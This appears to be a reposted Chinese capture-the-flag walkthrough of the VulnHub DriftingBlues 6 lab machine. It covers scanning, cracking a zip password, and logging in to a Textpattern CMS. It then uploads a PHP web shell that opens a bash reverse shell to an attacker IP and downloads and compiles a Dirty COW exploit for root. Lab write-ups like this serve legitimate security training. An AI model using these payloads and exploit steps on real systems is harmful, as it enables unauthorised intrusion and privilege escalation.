DriftingBlues__6

作者:流云技术札 发布:2026-04-20 12:00 收录:2026-09-08 10:32 1 次阅读 约 402 字
摘要:name: DiftingBlues: 6 Date release: 30 Mar 2021 Author: tasiyanci Series: DriftingBlues difficulty: easy Download (Mirror): https://download.vulnhub.com/driftin…
推荐理由:本文涵盖「渗透测试」、「DriftingBlues」、「Vulnhub」等多个主题,重点关注 渗透测试。
name: DiftingBlues: 6
Date release: 30 Mar 2021
Author: tasiyanci
Series: DriftingBlues
difficulty: easy
Download (Mirror): https://download.vulnhub.com/driftingblues/driftingblues6_vh.ova

漏洞遍历

存活主机探测

arp-scan -interface=eth1 --localnet

image

靶机ip为192.168.56.117

端口扫描

nmap -A -sV -T4 -p- 192.168.56.117

image

dirsearch扫描

dirsearch -u http://192.168.56.117dirsearch -u http://192.168.56.117

image

查看robots.txt发现为授权访问url

image

得到cms为textpattern

image

但不知道具体版本,根据robots里的提示让我们扫描zip文件,继续扫描

gobuster dir --url 192.168.56.117 --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,zip,bak,php

image

能发现spammer.zip文件
下载到本地发现有密码

image

将压缩包中的 hash 提取出来转为 john 识别的格式然后保存为文件

zip2john spammer.zip | tee hash

image

john --wordlist=/usr/share/wordlists/rockyou.txt hash

image

得到密码myspace4

image

压缩包里得到凭证mayer:lionheart
登录网站,得到cms版本 4.8.3

image

searchsploit搜索本地漏洞

searchsploit textpattern 4.8.3

image

都失败,继续信息收集

发现一个文件上传位置

image

上传shell,上传后没显示路径,在管理界面找到上传文件的路径

image

image

反弹shell即可

<?php system("bash -c 'exec bash -i &>/dev/tcp/192.168.56.102/9001 <&1'")?>

image

提权

先升级tty,没有python3用python

python -c 'import pty; pty.spawn("/bin/bash")'

老靶机了,可以直接内核提权

image

这里用脏牛漏洞,上传提权脚本

wget http://192.168.56.102:80/Dirty.cpp
.ccp的文件在Linux系统中无法直接利用,因此需要编译

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow Dirty.cpp -lutil

执行编译好的脚本文件

./dcow -s

image

image

转载声明:本文转载自原发布平台 (作者:流云技术札), 原文标题《DriftingBlues__6》, 查看原文。 版权归原作者及原发布平台所有,本站仅作收录与展示,未对正文内容作实质性修改; 若涉及侵权请联系本站处理。